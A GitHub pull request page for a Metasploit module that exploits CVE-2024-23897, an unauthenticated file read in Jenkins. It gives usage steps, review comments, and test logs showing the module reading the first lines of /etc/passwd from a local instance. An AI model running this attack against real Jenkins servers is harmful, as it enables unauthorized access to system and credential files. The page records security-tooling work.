Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

initial POC for jenkins CVE-2024-23897 (unauth arbitrary file read) #18764

Merged
10 commits merged into from
Mar 28, 2024

Conversation

h00die
Copy link
Contributor

@h00die h00die commented Jan 29, 2024

This PR adds a new module to exploit CVE-2024-23897 , an unauth arbitrary (first 2 lines) file read on Jenkins.

All of the python PoCs I reviewed (all linked in module) aren't very good. While they work for /etc/passwd, they only pull files w/ multiple lines and only with a file name length of 11 since the string length is hardcoded. I know its too late, but shoutout to @acammack-r7 back on #13741 (review) for opening my eyes to this kind of thing.

This PoC works with files that have 1 line, or multiple lines, adds check and error handling, so I believe its good to go now.

  • Install the application
  • Start msfconsole
  • Do: use auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read
  • Do: set rhost [ip]
  • Do: run
  • You should get the first two lines of the FILE_PATH

@h00die h00die added the module label Jan 29, 2024
@h00die h00die added the docs label Jan 30, 2024
@h00die h00die marked this pull request as ready for review January 30, 2024 23:02
},
'DefaultOptions' => {
'RPORT' => 8080,
'HttpClientTimeout' => 3 # very quick response, so set this low
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The responses normally do return quickly, is it necessary to adjust the timeout? Seems like it'd be necessary if HTTP requests were often timing out during the course of exploitation.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

When I was still learning the protocol, any error would cause a crash server side and no response would be received. While I believe I've stabilized out the code to not crash the server, it felt like a good thing to keep in just in case there's a gotcha

@h00die
Copy link
Contributor Author

h00die commented Mar 6, 2024

@msjenkins-r7 test this please

@jheysel-r7 jheysel-r7 self-assigned this Mar 26, 2024
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nice one @h00die!! A couple minor comments after doing some testing but overall looks great.

Testing with the suggested changes on LTS Version 2.426.2:

msf6 auxiliary(gather/jenkins_cli_ampersand_arbitrary_file_read) > options

Module options (auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILE_PATH  /etc/passwd      yes       File path to read from the server
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      8080             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path for Jenkins
   VHOST                       no        HTTP server virtual host


View the full module info with the info, or info -d command.

msf6 auxiliary(gather/jenkins_cli_ampersand_arbitrary_file_read) > run
[*] Running module against 127.0.0.1

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Found exploitable version: 2.426.2
[*] Sending requests with UUID: da8d3337-2414-43ad-92ab-8cacb7900cdf
[+] /etc/passwd file contents retrieved (first line or 2):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[+] Results saved to: /Users/jheysel/.msf4/loot/20240326174542_default_127.0.0.1_jenkins.file_685766.txt
[*] Auxiliary module execution completed

Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

My apologies @h00die, my first set of suggestions fixed the module but I didn't realize they were going to break rubocop. This set of suggestions fixes the module while satisfying rubocop rules.

You were correct with your method definitions:
def data_generator(pad: false)

its just when calling a method defined like the above you have to specify the default variable explicitly like so:
data_generator(pad: multi_line_file)

Testing with the latest suggestions:

msf6 auxiliary(gather/jenkins_cli_ampersand_arbitrary_file_read) > rexploit
[*] Reloading module...
[*] Running module against 127.0.0.1

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Found exploitable version: 2.426.2
[*] Sending requests with UUID: 13be74e5-8a16-4431-aa1c-fdb767edc6ff
[+] /etc/passwd file contents retrieved (first line or 2):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[+] Results saved to: /Users/jheysel/.msf4/loot/20240328124555_default_127.0.0.1_jenkins.file_769324.txt
[*] Auxiliary module execution completed

@jheysel-r7 jheysel-r7 closed this pull request by merging all changes into rapid7:master in 31cf0e2 Mar 28, 2024
@jheysel-r7
Copy link
Contributor

jheysel-r7 commented Mar 28, 2024

Release Notes

This PR adds a new module to exploit CVE-2024-23897, an unauthorized arbitrary (first 2 lines) file read on Jenkins versions prior to 2.442 or for the LTS stream, versions prior to 2.426.3.

@jheysel-r7 jheysel-r7 added the rn-modules release notes for new or majorly enhanced modules label Mar 28, 2024
@h00die h00die deleted the jenkins branch March 28, 2024 22:24
@h00die
Copy link
Contributor Author

h00die commented Mar 28, 2024

Thanks for handling this @jheysel-r7

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

3 participants